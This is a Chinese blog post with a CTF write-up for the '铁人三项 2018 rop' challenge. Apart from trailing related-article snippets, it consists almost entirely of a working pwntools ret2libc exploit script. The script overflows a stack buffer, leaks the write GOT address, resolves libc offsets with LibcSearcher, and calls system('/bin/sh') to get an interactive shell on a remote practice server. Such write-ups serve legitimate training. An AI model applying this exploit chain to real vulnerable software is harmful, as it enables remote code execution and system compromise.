首页 > 其他分享 > 铁人三项(第五赛区)_2018_rop

铁人三项(第五赛区)_2018_rop

时间:2023-08-08 12:55:22浏览次数:45  
标签:addr libc hex write p32 2018 offset rop 铁人三项

铁人三项(第五赛区)_2018_rop

经典ret2libc3

image-20230807225923356

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn') 
p = remote('node4.buuoj.cn',28146)
elf = ELF('./pwn')
main_addr = elf.sym['main']
plt_addr  = elf.plt['write']	
got_addr  = elf.got['write']

pay1 = b'a'*(0x88+4)+p32(plt_addr)+p32(main_addr)+p32(1)+p32(got_addr)+p32(0xD)
p.sendline(pay1)

write_addr = u32(p.recv()[0:4])#0xf7db1190
print("write_addr = ",hex(write_addr))

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x88+4)+p32(system)+b'aaaa'+p32(binsh)
p.sendline(pay2)
p.interactive()

标签:addr,libc,hex,write,p32,2018,offset,rop,铁人三项
From: https://www.cnblogs.com/imarch22/p/17613884.html

相关文章

  • ASP.NET------DropDownList的使用方法
    第一种少量自定义数据时:.aspx中的代码:<asp:DropDownListID="DropDownList1"runat="server"><asp:ListItemValue="2">男</asp:ListItem><asp:ListItemSelected="True"Value=&quo......
  • c#操作excel方式三:使用Microsoft.Office.Interop.Excel.dll读取Excel文件
     1、引用Microsoft.Office.Interop.Excel.dll2、引用命名空间、使用别名usingSystem.Reflection;usingExcel=Microsoft.Office.Interop.Excel;  3.写入excel写入函数publicvoidToExcel(stringstrTitle){intnMax=9;intnMin=4......
  • [OGeek2019]babyrop
    [OGeek2019]babyrop0x0164位程序,开启NX没有system函数和/bin/sh字符串0x02分析程序:main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。main函数sub_804871F函数sub_80487D0函数观察程序我们可......
  • OGG数据同步如何屏蔽表的drop、delete及truncate操作
    适用范围源端生产库用户数据实时同步到历史归档库,只同步insert、update这类操作,所有表都不同步delete、drop、truncate操作;历史归档库保留全部数据不被修改。实施步骤1.源库与目标库创建相同普通表、分区表#创建用户jinksom、enmotech,然后创建普通表T、分区表RANGE_PART_TABCREA......
  • [React Typescript] Ensure correct inference for prop types with satisfies & Comp
    import{ComponentProps}from"react";import{Equal,Expect}from"../helpers/type-utils";constbuttonProps={type:"button",//@ts-expect-errorillegalProperty:"IAMILLEGAL",}asconstsatisfiesC......
  • Antd的filterOption的使用
    <Selectmode="multiple"placeholder="请选择组成辅料"style={{width:'100%'}}optionFilterProp="children"filterOption={(input,......
  • esp32cam(6贴片位)烧录MicroPython的方法(ch340)
    起因:购买的esp32cam烧录底座(ch340)无法刷入MicroPython,将ch340的驱动重装后,即使刷入也不能正常连接thonny。看了好几个csdn的帖子也无济于事,后看到B站up邪恶的胖次菌的视频esp32cam烧录笔记openmv/micropython找到解决办法。按照视频中6贴片位的esp32cam连好杜邦线后,即可在thonn......
  • [NOI2018] 你的名字
    题目描述小A被选为了ION2018的出题人,他精心准备了一道质量十分高的题目,且已经把除了题目命名以外的工作都做好了。由于ION已经举办了很多届,所以在题目命名上也是有规定的,ION命题手册规定:每年由命题委员会规定一个小写字母字符串,我们称之为那一年的命名串,要求每道题的名字......
  • 【标签属性补充】scoped/ref/props
    【一】scoped新建的组件加了scoped,表示样式只在当前组件生效如果不加,子组件都会使用这个样式<stylescoped></style>scoped是Vue.js中的一个样式作用域限定符,用于将样式限制在当前组件中生效,并不会影响子组件或父组件。使用scoped后,样式只会应用于当前组件的......
  • properties和yaml加载list
    properties和yml加载list方式一:shuhai:test:list:12,13,14@Value(“#{‘${shuhai.test.list}’.split(‘,’)}”)privateListlist;@Value(“${shuhai.test.list}”)privateListlist;方式二:shuhai:test:list:>121314@Valu......